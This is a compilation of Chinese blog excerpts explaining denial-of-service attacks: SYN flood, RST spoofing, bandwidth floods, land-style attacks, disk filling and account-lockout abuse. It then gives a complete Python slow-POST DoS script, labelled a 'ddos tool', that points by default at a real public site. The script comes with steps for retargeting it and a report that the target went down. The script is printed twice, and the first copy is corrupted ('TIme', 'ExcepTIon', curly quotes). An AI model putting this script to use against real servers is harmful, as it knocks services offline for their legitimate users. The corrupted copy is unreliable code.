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  • DOS攻击原理

    2017-03-27 16:54:13
    标准的TCP三次握手过程如下: ...更为关键的是,被攻击服务器的SYN_RECV队列被恶意的数据包占满,不再接受新的SYN请求,合法用户无法完成三次握手建立起TCP连接。也就是说,这个服务器被SYN Flood拒绝服务了。

    标准的TCP三次握手过程如下:

    1、客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;

    2、服务器在收到客户端的SYN报文后,将返回一个SYN+ACK(即确认Acknowledgement)的报文,表示客户端的请求被接受,同时TCP初始序号自动加1;

    3、客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1。

      经过这三步,TCP连接就建立完成。TCP协议为了实现可靠传输,在三次握手的过程中设置了一些异常处理机制。第三步中如果服务器没有收到客户端的最终ACK确认报文,会一直处于SYN_RECV状态,将客户端IP加入等待列表,并重发第二步的SYN+ACK报文。重发一般进行3-5次,大约间隔30秒左右轮询一次等待列表重试所有客户端。另一方面,服务器在自己发出了SYN+ACK报文后,会预分配资源为即将建立的TCP连接储存信息做准备,这个资源在等待重试期间一直保留。更为重要的是,服务器资源有限,可以维护的SYN_RECV状态超过极限后就不再接受新的SYN报文,也就是拒绝新的TCP连接建立。

      SYN Flood正是利用了上文中TCP协议的设定,达到攻击的目的。攻击者伪装大量的IP地址给服务器发送SYN报文,由于伪造的IP地址几乎不可能存在,也就几乎没有设备会给服务器返回任何应答了。因此,服务器将会维持一个庞大的等待列表,不停地重试发送SYN+ACK报文,同时占用着大量的资源无法释放。更为关键的是,被攻击服务器的SYN_RECV队列被恶意的数据包占满,不再接受新的SYN请求,合法用户无法完成三次握手建立起TCP连接。也就是说,这个服务器被SYN Flood拒绝服务了。

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  • dos攻击原理

    2008-05-22 22:00:00
    本文主要介绍DOS的机理和常见的实施方法。因前段时间仔细了解了TCP/IP协议以及RFC文档,有点心得。同时,文中有部分内容参考了Shaft的文章翻译... 什么是DOS攻击 DOS:即Denial Of Service,拒绝服务的缩写,可不能认为

    本文主要介绍DOS的机理和常见的实施方法。因前段时间仔细了解了TCP/IP协议以及RFC文档,有点心得。同时,文中有部分内容参考了Shaft的文章翻译而得。要想了解DOS攻击得实现机理,必须对TCP有一定的了解。所以,本文分为两部分,第一部分介绍一些实现DOS攻击相关的协议,第二部分则介绍DOS的常见方式。
    什么是DOS攻击
    DOS:即Denial Of Service,拒绝服务的缩写,可不能认为是微软的dos操作系统了。好象在5?1的时候闹过这样的笑话。拒绝服务,就相当于必胜客在客满的时候不再让人进去一样,呵呵,你想吃馅饼,就必须在门口等吧。DOS攻击即攻击者想办法让目标机器停止提供服务或资源访问,这些资源包括磁盘空间、内存、进程甚至网络带宽,从而阻止正常用户的访问。比如:
    * 试图FLOOD服务器,阻止合法的网络通讯
    * 破坏两个机器间的连接,阻止访问服务
    * 阻止特殊用户访问服务
    * 破坏服务器的服务或者导致服务器死机
    不过,只有那些比较阴险的攻击者才单独使用DOS攻击,破坏服务器。通常,DOS攻击会被作为一次入侵的一部分,比如,绕过入侵检测系统的时候,通常从用大量的攻击出发,导致入侵检测系统日志过多或者反应迟钝,这样,入侵者就可以在潮水般的攻击中混骗过入侵检测系统。
    有关TCP协议的东西
    TCP(transmission control protocol,传输控制协议),是用来在不可靠的因特网上提供可靠的、端到端的字节流通讯协议,在RFC793中有正式定义,还有一些解决错误的东西在RFC 1122中有记录,RFC 1323则有TCP的功能扩展。
    我们常见到的TCP/IP协议中,IP层不保证将数据报正确传送到目的地,TCP则从本地机器接受用户的数据流,将其分成不超过64K字节的数据片段,将每个数据片段作为单独的IP数据包发送出去,最后在目的地机器中再组合成完整的字节流,TCP协议必须保证可靠性。 
    发送和接收方的TCP传输以数据段的形式交换数据,一个数据段包括一个固定的20字节头,加上可选部分,后面再跟上数据,TCP协议从发送方传送一个数据段的时候,还要启动计时器,当数据段到达目的地后,接收方还要发送回一个数据段,其中有一个确认序号,它等于希望收到的下一个数据段的顺序号,如果计时器在确认信息到达前超时了,发送方会重新发送这个数据段。
    上面,我们总体上了解一点TCP协议,重要的是要熟悉TCP的数据头(header)。因为数据流的传输最重要的就是header里面的东西,至于发送的数据,只是header附带上的。客户端和服务端的服务响应就是同header里面的数据相关,两端的信息交流和交换是根据header中的内容实施的,因此,要实现DOS,就必须对header中的内容非常熟悉。
    下面是TCP数据段头格式。
    Source Port和 Destination Port :是本地端口和目标端口
    Sequence Number 和 Acknowledgment Number :是顺序号和确认号,确认号是希望接收的字节号。这都是32位的,在TCP流中,每个数据字节都被编号。
    Data offset :表明TCP头包含多少个32位字,用来确定头的长度,因为头中可选字段长度是不定的。
    Reserved : 保留的6位,现在没用,都是0 接下来是6个1位的标志,这是两个计算机数据交流的信息标志。接收和发送断根据这些标志来确定信息流的种类。下面是一些介绍:
    URG:(Urgent Pointer field significant)紧急指针。用到的时候值为1,用来处理避免TCP数据流中断 。
    ACK:(Acknowledgment field significant)置1时表示确认号(Acknowledgment Number)为合法,为0的时候表示数据段不包含确认信息,确认号被忽略。
    PSH:(Push Function),PUSH标志的数据,置1时请求的数据段在接收方得到后就可直接送到应用程序,而不必等到缓冲区满时才传送。
    RST:(Reset the connection)用于复位因某种原因引起出现的错误连接,也用来拒绝非法数据和请求。如果接收到RST位时候,通常发生了某些错误。
    SYN:(Synchronize sequence numbers)用来建立连接,在连接请求中,SYN=1,ACK=0,连接响应时,SYN=1,ACK=1。即,SYN和ACK来区分Connection Request和Connection Accepted。
    FIN:(No more data from sender)用来释放连接,表明发送方已经没有数据发送了。
    知道这重要的6个指示标志后,我们继续来。
    16位的WINDOW字段:表示确认了字节后还可以发送多少字节。可以为0,表示已经收到包括确认号减1(即已发送所有数据)在内的所有数据段。
    接下来是16位的Checksum字段,用来确保可靠性的。
    16位的Urgent Pointer,和下面的字段我们这里不解释了。不然太多了。呵呵,偷懒啊。
    我们进入比较重要的一部分:TCP连接握手过程。这个过程简单地分为三步。
    在没有连接中,接受方(我们针对服务器),服务器处于LISTEN状态,等待其他机器发送连接请求。
    第一步:客户端发送一个带SYN位的请求,向服务器表示需要连接,比如发送包假设请求序号为10,那么则为:SYN=10,ACK=0,
    然后等待服务器的响应。
    第二步:服务器接收到这样的请求后,查看是否在LISTEN的是指定的端口,不然,就发送RST=1应答,拒绝建立连接。如果接收
    连接,那么服务器发送确认,SYN为服务器的一个内码,假设为100,ACK位则是客户端的请求序号加1,本例中发送的数据是:
    SYN=100,ACK=11,用这样的数据发送给客户端。向客户端表示,服务器连接已经准备好了,等待客户端的确认
    这时客户端接收到消息后,分析得到的信息,准备发送确认连接信号到服务器
    第三步:客户端发送确认建立连接的消息给服务器。确认信息的SYN位是服务器发送的ACK位,ACK位是服务器发送的SYN位加1。
    即:SYN=11,ACK=101。
    这时,连接已经建立起来了。然后发送数据,。这是一个基本的请求和连接过程。需要注意的是这些标志位的关系,比如SYN、ACK。
    
    服务器的缓冲区队列(Backlog Queue)
    服务器不会在每次接收到SYN请求就立刻同客户端建立连接,而是为连接请求分配内存空间,建立会话,并放到一个等待队列中。如果,这个等待的队列已经满了,那么,服务器就不在为新的连接分配任何东西,直接丢弃新的请求。如果到了这样的地步,服务器就是拒绝服务了。
    
    如果服务器接收到一个RST位信息,那么就认为这是一个有错误的数据段,会根据客户端IP,把这样的连接在缓冲区队列中清除掉。这对IP欺骗有影响,也能被利用来做DOS攻击。
    上面的介绍,我们了解TCP协议,以及连接过程。要对SERVER实施拒绝服务攻击,实质上的方式就是有两个:
    一, 迫使服务器的缓冲区满,不接收新的请求。
    二, 使用IP欺骗,迫使服务器把合法用户的连接复位,影响合法用户的连接
    这就是DOS攻击实施的基本思想。具体实现有这样的方法:
    1、SYN FLOOD
    利用服务器的连接缓冲区(Backlog Queue),利用特殊的程序,设置TCP的Header,向服务器端不断地成倍发送只有SYN标志的TCP连接请求。当服务器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。
    如果你的SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了。其他合法用户的连接都被拒绝掉。可以持续你的SYN请求发送,直到缓冲区中都是你的只有SYN标记的请求。
    现在有很多实施SYN FLOOD的工具,呵呵,自己找去吧。
    2、IP欺骗DOS攻击
    这种攻击利用RST位来实现。假设现在有一个合法用户(1.1.1.1)已经同服务器建立了正常的连接,攻击者构造攻击的TCP数据,伪装自己的IP为1.1.1.1,并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后,认为从1.1.1.1发送的连接有错误,就会清空缓冲区中建立好的连接。这时,如果合法用户1.1.1.1再发送合法数据,服务器就已经没有这样的连接了,该用户就必须从新开始建立连接。
    攻击时,伪造大量的IP地址,向目标发送RST数据,使服务器不对合法用户服务。
    3、 带宽DOS攻击
    如果你的连接带宽足够大而服务器又不是很大,你可以发送请求,来消耗服务器的缓冲区消耗服务器的带宽。这种攻击就是人多力量大了,配合上SYN一起实施DOS,威力巨大。不过是初级DOS攻击。呵呵。Ping白宫??你发疯了啊!
    4、自身消耗的DOS攻击
    这是一种老式的攻击手法。说老式,是因为老式的系统有这样的自身BUG。比如Win95 (winsock v1), Cisco IOS v.10.x, 和其他过时的系统。
    这种DOS攻击就是把请求客户端IP和端口弄成主机的IP端口相同,发送给主机。使得主机给自己发送TCP请求和连接。这种主机的漏洞会很快把资源消耗光。直接导致当机。这中伪装对一些身份认证系统还是威胁巨大的。
    上面这些实施DOS攻击的手段最主要的就是构造需要的TCP数据,充分利用TCP协议。这些攻击方法都是建立在TCP基础上的。还有其他的DOS攻击手段。
    5、塞满服务器的硬盘
    通常,如果服务器可以没有限制地执行写操作,那么都能成为塞满硬盘造成DOS攻击的途径,比如:
    发送垃圾邮件。一般公司的服务器可能把邮件服务器和WEB服务器都放在一起。破坏者可以发送大量的垃圾邮件,这些邮件可能都塞在一个邮件队列中或者就是坏邮件队列中,直到邮箱被撑破或者把硬盘塞满。
    让日志记录满。入侵者可以构造大量的错误信息发送出来,服务器记录这些错误,可能就造成日志文件非常庞大,甚至会塞满硬盘。同时会让管理员痛苦地面对大量的日志,甚至就不能发现入侵者真正的入侵途径。
    向匿名FTP塞垃圾文件。这样也可以塞满硬盘空间。
    6、合理利用策略
    一般服务器都有关于帐户锁定的安全策略,比如,某个帐户连续3次登陆失败,那么这个帐号将被锁定。这点也可以被破坏者利用,他们伪装一个帐号去错误登陆,这样使得这个帐号被锁定,而正常的合法用户就不能使用这个帐号去登陆系统了。

     

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  • DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。DoS攻击是指故意的攻击网络协议实现的...

    DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

    DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

    已经有很多介绍DOS(Denial of Service,即拒绝服务)攻击的文章,但是,多数人还是不知道DOS到底是什么,它到底是怎么实现的。本文主要介绍DOS的机理和常见的实施方法。因前段时间仔细了解了TCP/IP协议以及RFC文档,有点心得。同时,文中有部分内容参考了Shaft的文章翻译而得。要想了解DOS攻击得实现机理,必须对TCP有一定的了解。

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    1、什么是DOS攻击

    DOS:即Denial Of Service,拒绝服务的缩写,可不能认为是微软的dos操作系统了。好象在5·1的时候闹过这样的笑话。拒绝服务,就相当于必胜客在客满的时候不再让人进去一样,呵呵,你想吃馅饼,就必须在门口等吧。DOS攻击即让目标机器停止提供服务或资源访问。

    2、有关TCP协议的东西

    TCP(transmission control protocol,传输控制协议),是用来在不可靠的因特网上提供可靠的、端到端的字节流通讯协议,在RFC793中有正式定义,还有一些解决错误的东西在RFC 1122中有记录,RFC 1323则有TCP的功能扩展。我们常见到的TCP/IP协议中,IP层不保证将数据报正确传送到目的地,TCP则从本地机器接受用户的数据流,将其分成不超过64K字节的数据片段,将每个数据片段作为单独的IP数据包发送出去,最后在目的地机器中再组合成完整的字节流,TCP协议必须保证可靠性。

    发送和接收方的TCP传输以数据段的形式交换数据,一个数据段包括一个固定的20字节,加上可选部分,后面再跟上数据,TCP协议从发送方传送一个数据段的时候,还要启动计时器,当数据段到达目的地后,接收方还要发送回一个数据段,其中有一个确认序号,它等于希望收到的下一个数据段的顺序号,如果计时器在确认信息到达前超时了,发送方会重新发送这个数据段。

    上面,我们总体上了解一点TCP协议,重要的是要熟悉TCP的数据头(header)。因为数据流的传输最重要的就是header里面的东西,至于发送的数据,只是header附带上的。客户端和服务端的服务响应就是同header里面的数据相关,两端的信息交流和交换是根据header中的内容实施的,因此,要实现DOS,就必须对header中的内容非常熟悉。

    dos攻击原理及攻击实例

    dos攻击原理:DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。(百度百科说的,大概就是这么个意思)。

    dos攻击与ddos攻击的区别就是,它是一对一的攻击,而ddos是分布式的攻击,作为入门,作为菜鸟,我们他妈哪里有那么多肉鸡给你用。。。所以不过对付一些带宽小,内存低,cpu渣的小型web服务器还是ok的。

    现在,废话不多说,本地搭建一个web站点测试一下。

    测试地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)

    测试脚本:网上一堆。给大家转载一个,如下:

    #!/usr/bin/env python

    import socket

    import TIme

    import threading

    #Pressure Test,ddos tool

    #---------------------------

    MAX_CONN=20000

    PORT=80

    HOST=“www.baidu.com”

    PAGE=“/index.php”

    #---------------------------

    buf=(“POST %s HTTP/1.1\r\n”

    “Host: %s\r\n”

    “Content-Length: 10000000\r\n”

    “Cookie: dklkt_dos_test\r\n”

    “\r\n” % (PAGE,HOST))

    socks=[]

    def conn_thread():

    global socks

    for i in range(0,MAX_CONN):

    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

    s.connect((HOST,PORT))

    s.send(buf)

    print “Send buf OK!,conn=%d\n”%i

    socks.append(s)

    except ExcepTIon,ex:

    print “Could not connect to server or send error:%s”%ex

    TIme.sleep(10)

    #end def

    def send_thread():

    global socks

    while True:

    for s in socks:

    try:

    s.send(“f”)

    #print “send OK!”

    except ExcepTIon,ex:

    print “Send Exception:%s\n”%ex

    socks.remove(s)

    s.close()

    time.sleep(1)

    #end def

    conn_th=threading.Thread(target=conn_thread,args=())

    send_th=threading.Thread(target=send_thread,args=())

    conn_th.start()

    send_th.start()

    脚本来源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684

    以上是一个python脚本。

    HOST=“www.baidu.com”

    PAGE=“/index.php”

    我们要改的是这两处地方

    改为:

    HOST=“192.168.1.110”//你要撸的主机ip地址/域名

    PAGE=“/cloudmanage/admin.php”//你要撸的页面

    cmd命令行下执行脚本

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  • dos攻击原理及攻击实例(带脚本)

    万次阅读 多人点赞 2017-01-03 22:57:36
    dos攻击原理:DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。(百度百科说的,大概就是这么个意思)。 dos攻击与ddos攻击的区别就是,它是一对一的攻击,而ddos是分布式的...

    微笑首先声明,以下仅作为测试用,请勿作为非法用途。

    dos攻击原理:DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。(百度百科说的,大概就是这么个意思)。

    dos攻击与ddos攻击的区别就是,它是一对一的攻击,而ddos是分布式的攻击,作为入门,作为菜鸟,我们他妈哪里有那么多肉鸡给你用。。。所以不过对付一些带宽小,内存低,cpu渣的小型web服务器还是ok的。

    现在,废话不多说,本地搭建一个web站点测试一下。

    测试地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)

    测试脚本:网上一堆。给大家转载一个,如下:

    #!/usr/bin/env python
    import socket
    import time
    import threading
    #Pressure Test,ddos tool
    #---------------------------
    MAX_CONN=20000
    PORT=80
    HOST="www.baidu.com"
    PAGE="/index.php"
    #---------------------------
    buf=("POST %s HTTP/1.1\r\n"
    "Host: %s\r\n"
    "Content-Length: 10000000\r\n"
    "Cookie: dklkt_dos_test\r\n"
    "\r\n" % (PAGE,HOST))
    socks=[]
    def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
    s.connect((HOST,PORT))
    s.send(buf)
    print "Send buf OK!,conn=%d\n"%i
    socks.append(s)
    except Exception,ex:
    print "Could not connect to server or send error:%s"%ex
    time.sleep(10)
    #end def
    def send_thread():
    global socks
    while True:
    for s in socks:
    try:
    s.send("f")
    #print "send OK!"
    except Exception,ex:
    print "Send Exception:%s\n"%ex
    socks.remove(s)
    s.close()
    time.sleep(1)
    #end def
    conn_th=threading.Thread(target=conn_thread,args=())
    send_th=threading.Thread(target=send_thread,args=())
    conn_th.start()
    send_th.start()
    脚本来源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684

    以上是一个python脚本。

    HOST="www.baidu.com"
    PAGE="/index.php"

    我们要改的是这两处地方

    改为:

    HOST=“192.168.1.110”//你要撸的主机ip地址/域名

    PAGE=“/cloudmanage/admin.php”//你要撸的页面

    cmd命令行下执行脚本

    刷刷刷,一连串socket连接。。。就开着呗。我们来看看现在网页还可以访问不?

    显然被日瘫了。

    别搞事情!




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